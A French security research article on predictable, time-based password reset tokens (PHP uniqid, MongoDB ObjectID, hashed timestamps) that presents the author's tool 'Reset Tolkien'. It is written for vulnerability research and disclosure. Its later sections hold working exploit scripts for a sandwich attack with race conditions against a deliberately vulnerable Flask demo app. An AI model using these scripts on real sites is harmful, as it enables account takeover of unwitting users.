Durant cet article, je détaille mes recherches sur les secrets basés sur le temps. Cette recherche a commencé pour moi il y a un an, à la suite de découverte lors d’un programme de Bug bounty, et m’a permis de prendre le temps d’implémenter mon outil Python: “Reset Tolkien”.
uniqid
et réinitilisation de mot de passeLors d’un programme de Bug bounty, je découvre une application avec peu de fonctionnalité. Je suis obligé de me focaliser sur les fonctionnalités relativement classiques de l’application, comme la fonctionnalité de réinitialisation de mot de passe.
Il a quelques semaines de cela, j’ai produit une épreuve de CTF sur cette fonctionnalité. Un challenge “fantasmé”, c’est à dire que je ne pense pas possible sur une application en production.
Lors de ce challenge, j’avais imaginé le fonctionnalité de réinitilisation de mot de passe se basant sur le générateur pseudo-aléatoire Python random
.
C’était sympathique à concevoir, mais bon, ça n’est pas possible de trouver ça, non ? Nous allons voir…
Je teste donc ce périmètre en ayant ce challenge en tête. En générant des tokens avec mon propre compte, quasiment en même temps, j’obtiens ces deux tokens:
655f254b2d821
655f254b2d82e
Il me vient alors une idée:
Et si c’était plus simple que du pseudo-aléatoire ? Et si ces tokens étaient seulement basés sur le temps ?
Pour confirmer mon hypothèse:
Tips: Afin de faciliter la récupération de la date de la demande, il est possible de se baser sur le header HTTP Date
depuis la réponse HTTP de la requête de demande de réinitilisation du mot de passe. Cet en-tête est défini comme obligatoire par la RFC-2616.
En réalisant ces étapes, je parviens à découvrir que ce token est en effet généré à partir de la date de génération:
uniqid
est utilisée et se base sur la date courant pour générer un ID unique mais prédictible.Voici la fonction implémentée en Python:
import math
def uniqid(timestamp: float):
sec = math.floor(timestamp)
usec = round(1000000 * (timestamp - sec))
return "%8x%05x" % (sec, usec)
def reverse_uniqid(value: str):
return float(
str(int(value[:8], 16))
+ "."
+ str(int(value[8:], 16))
)
import datetime
def check():
t = datetime.datetime.now().timestamp()
u = uniqid(t)
return t == reverse_uniqid(u)
# >>> check()
# True
À partir de nos deux précédents tokens, nous sommes capables de récupérer les dates de génération correspondantes:
tokens = ["655f254b2d821", "655f254b2d82e"]
for token in tokens:
t = float(reverse_uniqid(token))
d = datetime.datetime.fromtimestamp(t)
print(f"{token} - {t} => {d}")
# 655f254b2d821 - 1700734283.186401 => 2023-11-23 11:11:23.186401
# 655f254b2d82e - 1700734283.186414 => 2023-11-23 11:11:23.186414
En confirmant cette hypothèse, je suis dorénavant capable de créer un scénario d’attaque permettant d’impacter d’autres utilisateurs:
Avec le seul pré-requis de l’email de la victime, je suis capable de réinitialiser son mot de passe. Sur le périmètre concerné, je peux changer son email à partir du nouveau mot de passe et réaliser un full-account takeover. Le rapport sera accepté en “Critical”.
En découvrant cette vulnérabilité, je tente de reproduire cette exploitation sur un grand nombre de périmètres de Bug bounty à partir d’un scénario plus détaillé:
Durant mes différentes recherches manuelles à l’aide du scénario précédent, je repère un cas intriguant sur une autre fonctionnalité que celle de réinitialisation de mot de passe. Lors de la confirmation d’une adresse email, je repère cette similarité de format:
65c7e6f47ded1f0fef0c1006
65c7e6f47ded1f0fef0c1007
Cette faible entropie me rappelle le cas précédent, mais avec un format différent de uniqid
. Après des recherches, ces tokens correspondent à un Object ID généré par MongoDB, formé de trois informations différentes:
Voici ce format implémenté en Python:
def MongoDB_ObjectID(timestamp, process, counter):
return "%08x%10x%06x" % (
timestamp,
process,
counter,
)
def reverse_MongoDB_ObjectID(token):
timestamp = int(token[0:8], 16)
process = int(token[8:18], 16)
counter = int(token[18:24], 16)
return timestamp, process, counter
def check(token):
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
return token == MongoDB_ObjectID(timestamp, process, counter)
token = "65c7e6f47ded1f0fef0c1006"
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
# >> {"token": token, "timestamp": timestamp, "process": process, "counter": counter}
# {'token': '65c7e6f47ded1f0fef0c1006', 'timestamp': 1707599604, 'process': 540849147887, 'counter': 790534}
# >> check(token)
# True
À partir d’un token, nous sommes capables d’extraire les informations nécessaires à la génération de ce token. Ces informations nous serviront à deviner le token suivant:
En réalisant un scénario d’attaque similaire à la première vulnérabilité, la réussite de l’attaque n’est pas garantie. En effet, les tokens peuvent être générés par des machines et/ou des processus différents. Ainsi donc, il est nécessaire de lister les différentes valeurs afin de générer le token avec la valeur correspondante à la machine et au processus utilisé.
Dans le contexte de l’application, je suis capable de contourner la vérification d’un email. Sur le périmètre concerné, l’impact est limité. Cependant, cela me donne l’opportunité d’imaginer une utilisation comparable à la première vulnérabilité dans un autre contexte, celui de la confirmation d’un e-mail.
À la suite de ces découvertes, j’ai ressenti le besoin d’approfondir ce sujet afin de généraliser cette exploitation.
Afin d’élargir pour généraliser ces cas, j’ai eu besoin davantage d’exemple. Pas seulement des exemples de token générés en boite noire, mais aussi des exemples de code source. À partir de mon moteur de recherche préféré, j’ai dressé un échantillon représentatif d’implémentation de la fonctionnalité de réinitialisation de mot de passe. J’y ai cherché les “bons”" ou “mauvais”" élèves.
Ma recherche ayant commencée par la découverte de la fonction PHP uniqid
, j’ai orienté ma recherche sur des exemples de code source PHP. En voici un best-of.
while($row=mysql_fetch_array($select))
{
$email=md5($row['email']);
$pass=md5($row['password']);
}
$link="<a href='www.samplewebsite.com/reset.php?key=".$email."&reset=".$pass."'>Click To Reset password</a>";
Ici, le développeur choisit d’envoyer le hachage du mot de passe de l’utilisateur en tant que token de réinitilisation de mot de passe.
En tout cas, ça ne nous intéresse pas dans notre étude, ça reviendrait à deviner le hachage du mot de passe de la victime pour réinitiliser son mot de passe.
$token = $this->generateRandomString(97);
[...]
function generateRandomString($length = 10)
{
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i ++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
Ici, le développeur choisit d’utiliser la fonction pseudo-random rand()
pour générer un token. Si nous sommes capables de générer suffisament de token, il serait donc possible de prédire les prochaines valeurs des tokens suivants. Comme quoi, l’épreuve de CTF précédemment évoqué n’était pas si fantasmé que ça.
C’est intéressant, si vous voulez étudier plus en détail, il y a des exemples d’exploitation:
Mais ce n’est pas le sujet de notre étude.
$token = md5($emailId).rand(10,9999);
$link = "<a href='www.yourwebsite.com/reset-password.php?key=".$emailId."&token=".$token."'>Click To Reset password</a>";
Ici, le développeur choisit d’utiliser la valeur d’ID de l’utilisateur hachée et concaténée à une valeur aléatoire contenue entre 10 et 9999.
C’est intéressant, si nous connaissons l’ID de la victime, il suffirait d’essayer les 9991 possibilités pour retrouver le token de la victime.
Notons, notons.
$key=md5(time()+123456789% rand(4000, 55000000));
Le développeur se base sur un timestamp mais y ajoute une valeur basée sur de l’aléatoire pour finalement hacher le résultat en MD5.
Cela semble compliqué à exploiter mais ça nous indique une information essentielle: il est possible que certains développeurs choisissent les fonctions de hachage pour y cacher des valeurs qui ne seraient pas cryptographiquement sûres.
Notons de nouveau, notons de nouveau.
$token = bin2hex(random_bytes(50));
Ici c’est un bon exemple de ce qui est sécurisé à partir d’une fonction random_bytes
cryptographiquement sûre.
Ne notons pas, ne notons pas.
En parcourant les exemples de code sources précédents, il est possible d’en tirer des enseignements:
Ces deux trouvailles ont été pour moi l’occasion d’inspecter les différentes fonctions basées sur le temps. Ces fonctions ne devraient pas être utilisées dans des contextes qui nécessitent des secrets cryptographiquement sûrs.
J’ai besoin d’automatiser cette recherche. Cependant, je me confronte à une contrainte:
Chaque périmètre a des technologies différentes et des fonctionnalités différemment implémentées. Cependant, une fois un token récupéré, il est toujours possible d’automatiser la détection du formatage et la confirmation de l’hypothèse, mais aussi l’attaque.
L’aventure ne s’arrête donc pas là pour moi.
Nous allons donc prendre le temps de théoriser en se basant sur les cas pratiques découverts ainsi que les enseignements de nos recherches sur les exemples de code source.
Tentons de décrire différents algorithmes permettant de généraliser la recherche du format d’un token en partant du principe que la date de génération du token est connue.
Il est donc possible de créer un premier algorithme qui, à partir d’une liste de fonction de format possible , détermine si le token est basé sur la date de génération du token:
Entrées:
Sorties:
Algorithme:
Une fois l’hypothèse confirmée, nous pouvons donc fournir un algorithme qui permettra de générer le token de la victime à partir de la date de génération:
Entrées:
Sorties:
Algorithme:
Les algorithmes précédents prenaient en compte la possibilité de connaître l’inverse d’une fonction, or, si nous souhaitons prendre en compte des formats de tokens utilisant des fonctions de hachage, par définition, nous ne pouvons pas définir la fonction inverse.
Nous devons donc inverser et nous baser sur la date, appliquer les fonctions de formatage et comparer la valeur obtenue avec le token fourni en entrée.
À partir de la date de génération du token, nous devons confirmer quelle est la fonction de hachage utilisée:
Entrées:
Sorties:
Algorithme:
Nous pouvons donc fournir un algorithme qui permettra de générer le token de la victime à partir de la date de génération:
Entrées:
Sorties:
Algorithme:
Les algorithmes précédents prenaient en compte le pré-requis de la connaissance précise de la date de génération des tokens. Or, lors de la demande de réinitilisation, nous pouvons récupérer la date de la demande, mais celle-ci n’est pas forcément celle de la génération du token. En effet, un délai peut séparer ces deux dates. De plus, si le token est basé sur un temps avec une précision plus fine que les secondes, nous ne pouvons pas connaître avec certitude la date de génération du token.
Cependant, la date de la demande est forcément proche de la date de génération. Nous pouvons donc tenter de deviner la date de génération en incréméntant la date de la demande jusqu’à une limite arbitraire qui nous persuadera que notre hypothèse est fausse.
Il est possible de définir une fenêtre temporelle arbitraire à partir de la date de la demande afin de déterminer si le token a été généré par une ces dates:
Constantes:
Entrées:
Sorties:
Algorithme:
Pour réaliser l’attaque, il est nécessaire de considérer qu’il existe un oracle, nommé , permettant de confirmer qu’un token est valide:
Entrées:
Sorties:
Algorithme:
Lors de l’étape précédente, nous vérifions l’hypothèse que le token d’une victime est valide à partir d’une fenètre temporelle arbitrairement définie et d’un oracle. Cet oracle pourrait être un script permettant de vérfifier la validité du token via une requête HTTP via l’application web.
Plus la fenètre temporelle est large, et plus la probabilité de trouver un token valide est forte, mais plus l’oracle est solicité. Dans le cas de limitation de l’utilisation de l’oracle, nous souhaitons optimiser la taille de la fenètre temporelle sans réduire la certitude de la confirmation de l’hypothèse.
Il est possible de borner la fenètre temporelle entre deux tokens du compte de l’attaquant. Ce type d’attaque a été nommée sous le nom de “Sandwich Attack”.
Voici une très bonne reférence sur ce type d’attaque:
Tentons de définir un algorithme permettant de deviner la date de génération du token de la victime:
Entrées:
Sorties:
Algorithme:
Grâce à ces algorithmes et le prérequis de la date de génération, nous sommes capables de confirmer l’hypothèse qu’un token est basé sur le temps.
Une fois cette hypothèse confirmée, il nous est possible de borner la date de génération du token de la victim entre deux tokens générés à partir du compte de l’attaquant. L’oracle nous permettra de confirmer lequel des tokens est celui de la victime.
Imaginons une application web implémentant la fonctionnalité de réinitilisation de mot de passe. Voici un exemple d’application web avec Flask et SQLite:
from flask import Flask, request
import sqlite3
DATABASE_NAME = "reset.db"
# Database initialization with table definition
def init_db():
database = sqlite3.connect(DATABASE_NAME)
cursor = database.cursor()
cursor.execute(
"""
CREATE TABLE reset(
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT,
token TEXT
)
"""
)
# Store the token in database with the provided email
def store_token_in_db(email, token):
database = sqlite3.connect(DATABASE_NAME)
cursor = database.cursor()
cursor.execute("INSERT INTO reset(email, token) VALUES(?, ?)", (email, token))
database.commit()
# Verify the validity of provided token - the token is deleted from the database after usage
def verify(email, token):
database = sqlite3.connect(DATABASE_NAME)
cursor = database.cursor()
cursor.execute("SELECT token FROM reset WHERE email = ? ORDER BY id DESC", (email,))
tokens = cursor.fetchone()
if tokens:
success = token == tokens[0]
if success:
cursor.execute(
"DELETE FROM reset WHERE email = ? AND token = ?", (email, token)
)
database.commit()
return success
return False
# Generate a formatted token
def generate_token():
# Not implemented
app = Flask(__name__)
@app.route("/reset", methods=["GET"])
def reset():
token = request.args.get("token", None)
email = request.args.get("email", None)
# Verify
if token and email:
if verify(email, token):
return "Valid!"
return "Expired token!"
# Generate
elif email:
token = generate_token()
store_token_in_db(email, token)
if token:
return f"Email sent to {email}: <a id='token' href='/reset?email={email}&token={token}'>{token}</a>"
return "Error"
# Provide form
return "<html><body><form><label for='email'>Email: </label><input name='email'></input></form>"
import os
if __name__ == "__main__":
if not os.path.isfile(DATABASE_NAME):
init_db()
app.run()
Cette application implémente les trois fonctionnalités sur la même route:
GET /reset
: Obtenir le formulaire HTTP pour faire une demande de génération d’un token de réinitilisation de mot de passe.GET /reset?email=[EMAIL]
: Générer un token à partir de l’email (normalement envoyé par email, mais ici, on fournit le token dans la réponse).GET /reset?email=[EMAIL]&token=[TOKEN]
: Vérifier la validité d’un token pour un email donné.Cette application génère une valeur à partir du temps courant, puis lui applique un formatage avant d’envoyer ce token sur l’email de l’utilisateur. En voici un exemple d’implémentation:
# Generate a formatted token
def generate_token():
import datetime
import hashlib
t = datetime.datetime.now().timestamp()
token = hashlib.md5(str(t).encode()).hexdigest()
return token
En testant cette application en black box, nous verrons un token au format MD5: e6e1b03ab79ba996265417e78a6d80d2
, ce qui ne nous permet pas de deviner qu’il s’agit d’un token basé sur le temps, ni d’évaluer l’entropie de la valeur.
Nous posons l’hypothèse que le token est basé sur le temps, nous allons maintenant appliquer le scénario de confirmation de notre hypothèse:
/reset
/reset?email=attacker@example.com
en notant la date de la demande: [(md5, is_md5)]
md5
Pour réaliser notre attaque, nous allons avoir besoin d’implémenter la fonction qui est un oracle permettant de confirmer la validité d’un token:
import request
def verify(email, token):
r = request.get(f"http://localhost:5000/reset?email={email}&token={token}")
return r.status_code == 200 and r.text == "Valid!"
Le but du scénario est de récupérer un token d’une victime:
/reset
/reset?email=[EMAIL]
et récupérer les dates de génération avec comme email:
/reset?email=attacker@example.com
-> /reset?email=victim@example.com
-> /reset?email=attacker@example.com
-> md5
http://localhost:5000/reset?email=victim@example.com&token=[VICTIM_TOKEN]
pour réinitialiser le mot de passe de l’utilisateur et accéder au compte de la victime.Note: J’ai considéré que l’Oracle confirme la validité du token sans pour autant le faire expirer. Si c’est le cas, il faudra prévoir d’automatiser la réinitilisation du mot de passe dès le premier accès au token pour réussir l’attaque.
Pour permettre l’exploitation de cette vulnérabilité, j’ai pris le temps de fabriquer un outil clé en main qui se base sur les algorithmes précédents.
Je l’ai astucieusement (mmh…) nommé “Reset Tolkien”.
Celui-ci ne se contente pas d’implémenter littéralement les algorithmes précédents, mais y ajoute des notions qui n’ont pas été évoquées comme:
L’outil teste différents formats de token de façon récursive:
base32
base64
urlencode
hexint
hexstr
: encodage d’un nombre entier en ASCIIuniqid
: la fonction PHP uniqid
précédemment étudiéuuidv1
: le format d’un UUID v1 basé sur le tempsshortuuid
: une fonction populaire d’encodage d’UUIDmongodb_objectid
: le format de donnée de Mongo DB précédemment étudiédatetime
: l’encodage d’une date à partir d’un format de date personnalisédatetimeRFC2822
: l’encodage d’une date à partir du format issu de la norme RFC2822L’outil gère également les fonctions de hachage les plus populaires:
md5
sha1
sha224
sha256
sha384
sha512
sha3_224
sha3_256
sha3_384
sha3_512
blake_256
blake_512
Les différentes fonctionnalité de l’outil sont les suivantes:
detect
: permet de détecter si un token fournit est basé sur un date, fournit ou non:usage: reset-tolkien detect [-h] [-r] [-v {0,1,2}] [-c CONFIG] [--threads THREADS] [--date-format-of-token DATE_FORMAT_OF_TOKEN] [--only-int-timestamp] [--decimal-length DECIMAL_LENGTH]
[--int-timestamp-range INT_TIMESTAMP_RANGE] [--float-timestamp-range FLOAT_TIMESTAMP_RANGE] [--timezone TIMEZONE] [-l {1,2,3}] [-t TIMESTAMP] [-d DATETIME]
[--datetime-format DATETIME_FORMAT] [--prefixes PREFIXES] [--suffixes SUFFIXES] [--hashes HASHES]
token
positional arguments:
token The token given as input.
options:
-h, --help show this help message and exit
-r, --roleplay Not recommended if you don't have anything else to do
-v {0,1,2}, --verbosity {0,1,2}
Verbosity level (default: 0)
-c CONFIG, --config CONFIG
Config file to set TimestampHashFormat (default: default.yml)
--threads THREADS Define the number of parallelized tasks for the decryption attack on the hash. (default: 8)
--date-format-of-token DATE_FORMAT_OF_TOKEN
Date format for the token - please set it if you have found a date as input.
--only-int-timestamp Only use integer timestamp. (default: False)
--decimal-length DECIMAL_LENGTH
Length of the float timestamp (default: 7)
--int-timestamp-range INT_TIMESTAMP_RANGE
Time range over which the int timestamp will be tested before and after the input value (default: 60s)
--float-timestamp-range FLOAT_TIMESTAMP_RANGE
Time range over which the float timestamp will be tested before and after the input value (default: 2s)
--timezone TIMEZONE Timezone of the application for datetime value (default: 0)
-l {1,2,3}, --level {1,2,3}
Level of search depth (default: 3)
-t TIMESTAMP, --timestamp TIMESTAMP
The timestamp of the reset request
-d DATETIME, --datetime DATETIME
The datetime of the reset request
--datetime-format DATETIME_FORMAT
The input datetime format (default: server date format like "Tue, 12 Mar 2024 16:24:05 UTC")
--prefixes PREFIXES List of possible values for the prefix concatenated with the timestamp. Format: prefix1,prefix2
--suffixes SUFFIXES List of possible values for the suffix concatenated with the timestamp. Format: suffix1,suffix2
--hashes HASHES List of possible hashes to try to detect the format. Format: suffix1,suffix2 (default: all identified hash)
bruteforce
: permet de fournir une liste de tokens possibles à partir d’un format de token et d’une fenètre temporelle défini arbitrairement:usage: reset-tolkien bruteforce [-h] [-r] [-v {0,1,2}] [-c CONFIG] [--threads THREADS] [--date-format-of-token DATE_FORMAT_OF_TOKEN] [--only-int-timestamp] [--decimal-length DECIMAL_LENGTH]
[--int-timestamp-range INT_TIMESTAMP_RANGE] [--float-timestamp-range FLOAT_TIMESTAMP_RANGE] [--timezone TIMEZONE] [-t TIMESTAMP] [-d DATETIME]
[--datetime-format DATETIME_FORMAT] [--token-format TOKEN_FORMAT] [--prefix PREFIX] [--suffix SUFFIX] [-o OUTPUT] [--with-timestamp]
token
positional arguments:
token The token given as input.
options:
-h, --help show this help message and exit
-r, --roleplay Not recommended if you don't have anything else to do
-v {0,1,2}, --verbosity {0,1,2}
Verbosity level (default: 0)
-c CONFIG, --config CONFIG
Config file to set TimestampHashFormat (default: default.yml)
--threads THREADS Define the number of parallelized tasks for the decryption attack on the hash. (default: 8)
--date-format-of-token DATE_FORMAT_OF_TOKEN
Date format for the token - please set it if you have found a date as input.
--only-int-timestamp Only use integer timestamp. (default: False)
--decimal-length DECIMAL_LENGTH
Length of the float timestamp (default: 7)
--int-timestamp-range INT_TIMESTAMP_RANGE
Time range over which the int timestamp will be tested before and after the input value (default: 60s)
--float-timestamp-range FLOAT_TIMESTAMP_RANGE
Time range over which the float timestamp will be tested before and after the input value (default: 2s)
--timezone TIMEZONE Timezone of the application for datetime value (default: 0)
-t TIMESTAMP, --timestamp TIMESTAMP
The timestamp of the reset request with victim email
-d DATETIME, --datetime DATETIME
The datetime of the reset request with victim email
--datetime-format DATETIME_FORMAT
The input datetime format (default: server date format like "Tue, 12 Mar 2024 16:25:07 UTC")
--token-format TOKEN_FORMAT
The token encoding/hashing format - Format: encoding1,encoding2
--prefix PREFIX The prefix value concatenated with the timestamp.
--suffix SUFFIX The suffix value concatenated with the timestamp.
-o OUTPUT, --output OUTPUT
The filename of the output
--with-timestamp Write the output with timestamp
sandwich
: permet de fournir une liste de tokens possibles à partir d’un format de token et d’une fenètre temporelle borné par deux dates:usage: reset-tolkien sandwich [-h] [-r] [-v {0,1,2}] [-c CONFIG] [--threads THREADS] [--date-format-of-token DATE_FORMAT_OF_TOKEN] [--only-int-timestamp] [--decimal-length DECIMAL_LENGTH]
[--int-timestamp-range INT_TIMESTAMP_RANGE] [--float-timestamp-range FLOAT_TIMESTAMP_RANGE] [--timezone TIMEZONE] [-bt BEGIN_TIMESTAMP] [-et END_TIMESTAMP]
[-bd BEGIN_DATETIME] [-ed END_DATETIME] [--datetime-format DATETIME_FORMAT] [--token-format TOKEN_FORMAT] [--prefix PREFIX] [--suffix SUFFIX] [-o OUTPUT]
[--with-timestamp]
token
positional arguments:
token The token given as input.
options:
-h, --help show this help message and exit
-r, --roleplay Not recommended if you don't have anything else to do
-v {0,1,2}, --verbosity {0,1,2}
Verbosity level (default: 0)
-c CONFIG, --config CONFIG
Config file to set TimestampHashFormat (default: default.yml)
--threads THREADS Define the number of parallelized tasks for the decryption attack on the hash. (default: 8)
--date-format-of-token DATE_FORMAT_OF_TOKEN
Date format for the token - please set it if you have found a date as input.
--only-int-timestamp Only use integer timestamp. (default: False)
--decimal-length DECIMAL_LENGTH
Length of the float timestamp (default: 7)
--int-timestamp-range INT_TIMESTAMP_RANGE
Time range over which the int timestamp will be tested before and after the input value (default: 60s)
--float-timestamp-range FLOAT_TIMESTAMP_RANGE
Time range over which the float timestamp will be tested before and after the input value (default: 2s)
--timezone TIMEZONE Timezone of the application for datetime value (default: 0)
-bt BEGIN_TIMESTAMP, --begin-timestamp BEGIN_TIMESTAMP
The begin timestamp of the reset request with victim email
-et END_TIMESTAMP, --end-timestamp END_TIMESTAMP
The end timestamp of the reset request with victim email
-bd BEGIN_DATETIME, --begin-datetime BEGIN_DATETIME
The begin datetime of the reset request with victim email
-ed END_DATETIME, --end-datetime END_DATETIME
The end datetime of the reset request with victim email
--datetime-format DATETIME_FORMAT
The input datetime format (default: server date format like "Tue, 12 Mar 2024 16:25:55 UTC")
--token-format TOKEN_FORMAT
The token encoding/hashing format - Format: encoding1,encoding2
--prefix PREFIX The prefix value concatenated with the timestamp.
--suffix SUFFIX The suffix value concatenated with the timestamp.
-o OUTPUT, --output OUTPUT
The filename of the output
--with-timestamp Write the output with timestamp
Si nous souhaitons attaquer l’application précédemment décrite, il est possible d’utiliser cet outil.
Le scénario de détection peut être utilisé avec un outil Burp, voici un script Python (spécifique pour cette application) qui permet d’appliquer le scénario de détection:
import requests
from bs4 import BeautifulSoup
# Ask a reset token from a specific email
def reset(email):
url = f"http://localhost:5000/reset?email={email}"
r = requests.get(url)
return r.content, r.headers["Date"]
# Get the token in the response
def get_token(content):
soup = BeautifulSoup(content, "html.parser")
token = soup.find(id="token").attrs["href"].split("&")[1].split("=")[1]
return token
# Print the good command with resetTolkien to detect if the token is time-based
def exploit(email):
content, date = reset(email)
token = get_token(content)
print(
'reset-tolkien detect %s -d "%s" --prefixes "%s" --suffixes "%s" --hashes="md5" --decimal-length 6'
% (
token,
date,
email,
email,
)
)
# >> exploit("attacker@example.com")
# $ reset-tolkien detect 2487113242892c39716477efb579538c -d "Wed, 27 Mar 2024 15:10:18 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --hashes="md5" --decimal-length 6
# The token may be based on a timestamp: 1711552218.352686 (prefix: None / suffix: None)
# The convertion logic is "md5,uniqid"
Une fois l’hypothèse confirmée, nous pouvons réaliser une attaque par sandwich avec l’outil. De même, il est possible de réaliser la procédure semi-manuellement avec un outil comme Burp.
Voici un script Python (spécifique pour cette application) qui permet d’appliquer le scénario d’attaque:
import datetime
import asyncio
import httpx
from bs4 import BeautifulSoup
from resetTolkien.resetTolkien import ResetTolkien
from resetTolkien.format import Formatter
from resetTolkien.utils import SERVER_DATE_FORMAT
# Get the token in the response
def get_token(content):
soup = BeautifulSoup(content, "html.parser")
token = soup.find(id="token").attrs["href"].split("&")[1].split("=")[1]
return token
# Asynchronous function to ask a reset token from a specific email
async def async_reset(client, email):
url = f"http://localhost:5000/reset?email={email}"
r = await client.get(url)
token = get_token(r.content)
return token, r.headers["Date"]
# Race condition to try sandwich attack
async def sandwich_attack_with_race_conditions(attacker_email, victim_email):
async with httpx.AsyncClient() as client:
tasks = []
task = asyncio.ensure_future(async_reset(client, attacker_email))
tasks.append(task)
await asyncio.sleep(0.01)
task = asyncio.ensure_future(async_reset(client, victim_email))
tasks.append(task)
await asyncio.sleep(0.01)
task = asyncio.ensure_future(async_reset(client, attacker_email))
tasks.append(task)
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
return results
# Print the good command with resetTolkien to generate possible tokens
def exploit(attacker_email, victim_email):
# Three requests to generate tokens via race condition
results = asyncio.run(
sandwich_attack_with_race_conditions(attacker_email, victim_email)
)
# Get tokens from attacker email
(attacker_token1, request_date1) = results[0]
(attacker_token3, request_date3) = results[2]
# Victim token: here, the token is returned to us.
# In a realistic context, the token would not be known.
(victim_token2, _) = results[1]
# Create a new object Reset Tolkien with attacker information
# Similar to `reset-tolkien detect [attacker_token1] -d "[request_date1]" --prefixes "[attacker_email]" --suffixes "[attacker_email]" --hashes="md5" --decimal-length 6`
tolkien = ResetTolkien(
token=attacker_token1,
prefixes=[attacker_email],
suffixes=[attacker_email],
hashes=["md5"],
decimal_length=6,
)
# Get the request timestamp of the attacker token 1
request_timestamp1 = (
datetime.datetime.strptime(request_date1, SERVER_DATE_FORMAT)
.replace(tzinfo=datetime.timezone.utc)
.timestamp()
)
# Guess the format and the generation timestamp from the attacker token 1
results = tolkien.detectFormat(timestamp=request_timestamp1)
if not results:
print("We don't know the format.")
exit()
# Get generation timestamp from token1
generation_timestamp1 = results[0][0][0]
# Get the guessed token format
format = Formatter().export_formats(results[0][1])
# Create a new object Reset Tolkien with victim information
# Similar to `reset-tolkien detect [attacker_token3] -d "[request_date3]" --prefixes "[victim_email]" --suffixes "[victim_email]" --hashes="md5" --decimal-length 6`
tolkien3 = ResetTolkien(
token=attacker_token3,
prefixes=[victim_email],
suffixes=[victim_email],
hashes=["md5"],
formats=format.split(","),
decimal_length=6,
)
# Get the request timestamp of the attacker token 3
request_timestamp3 = (
datetime.datetime.strptime(request_date3, SERVER_DATE_FORMAT)
.replace(tzinfo=datetime.timezone.utc)
.timestamp()
)
# Guess the generation timestamp from the attacker token 3
results3 = tolkien3.detectFormat(timestamp=request_timestamp3)
if not results:
print("We don't know the format.")
exit()
# Get generation timestamp from the attacker token 3
generation_timestamp3 = results3[0][0][0]
# Wrong scheduling in asynchronous request
if generation_timestamp1 >= generation_timestamp3:
print("retry")
exit()
# Generation of potential token2
print(f"Victim's token need to be found in output.txt : {victim_token2}")
print(
'reset-tolkien sandwich %s -bt %s -et %s -o output.txt --token-format="%s" --decimal-length=6'
% (attacker_token1, generation_timestamp1, generation_timestamp3, format)
)
# >> exploit("attacker@example.com", "admin@example.com")
# Victim's token need to be found : 5411c1276ad7fab87661f82addcb11dc
# $ reset-tolkien sandwich 7eac187758a468f64879111cb70a486b -bt 1711554142.503661 -et 1711554142.504054 -o output.txt --token-format="md5,uniqid" --decimal-length=6
# Tokens have been exported in "output.txt"
# $ grep 5411c1276ad7fab87661f82addcb11dc output.txt
# 5411c1276ad7fab87661f82addcb11dc
Par défaut, l’outil est configuré pour détecter ce type de génération de token basé sur le temps:
function getToken($level, $email)
{
switch ($level) {
case 1:
return uniqid();
case 2:
return hash(time());
case 3:
return hash(uniqid());
case 4:
return hash(uniqid() . $email);
case 5:
return hash(date(DATE_RFC2822));
case 6:
return hash($email . uniqid() . $email);
case 7:
return uuid1("Test");
}
}
De plus, l’outil permet de définir ses propres formats de token avant l’application d’une fonction de hachage via un object TimestampHashFormat
. Par exemple, pour tester si le token est généré via cette fonction de génération de token:
# Generate a formatted token
def generate_token():
import datetime
import hashlib
t = datetime.datetime.now().timestamp()
token = hashlib.md5(uniqid(t).encode()).hexdigest()
return token
Il est possible de définir dans le fichier YAML de configuration:
float-uniqid:
description: "Uniqid timestamp"
level: 2
timestamp_type: float
formats:
- uniqid
Forcément, comme tout outil, il est toujours possible d’y ajouter de nouvelles fonctionnalités qui viendraient le compléter.
Parmis les points qui seraient bien utiles:
md5(timestamp()+1)
ne pourra pas être pris en charge. Via une configuration des formats en arbre, ce genre de format pourra être pris en charge par l’outil.ObjectID
dont le compteur est incrémenté à chaque accès de mémoire, l’outil est capable de détecter ce format mais n’est pas encore capable de l’exploiter.).Ma recherche a permis d’implémenter une première version d’un outil permettant de détecter des cas simples et de réaliser une attaque par sandwich pour un certain nombre de format. Il devrait être enrichi, au fur et à mesure des recherches, avec de nouveaux formats basés sur le temps.
Cet article a donc aussi pour but d’ouvrir une discussion avec vous pour m’aider à l’enrichir. N’hésitez donc pas à venir en discuter.
Cette première version de l’outil est suffisamment stable à mes yeux pour être rendue publique, mais je compte bien le faire évoluer encore, notammement à partir de la liste précédente.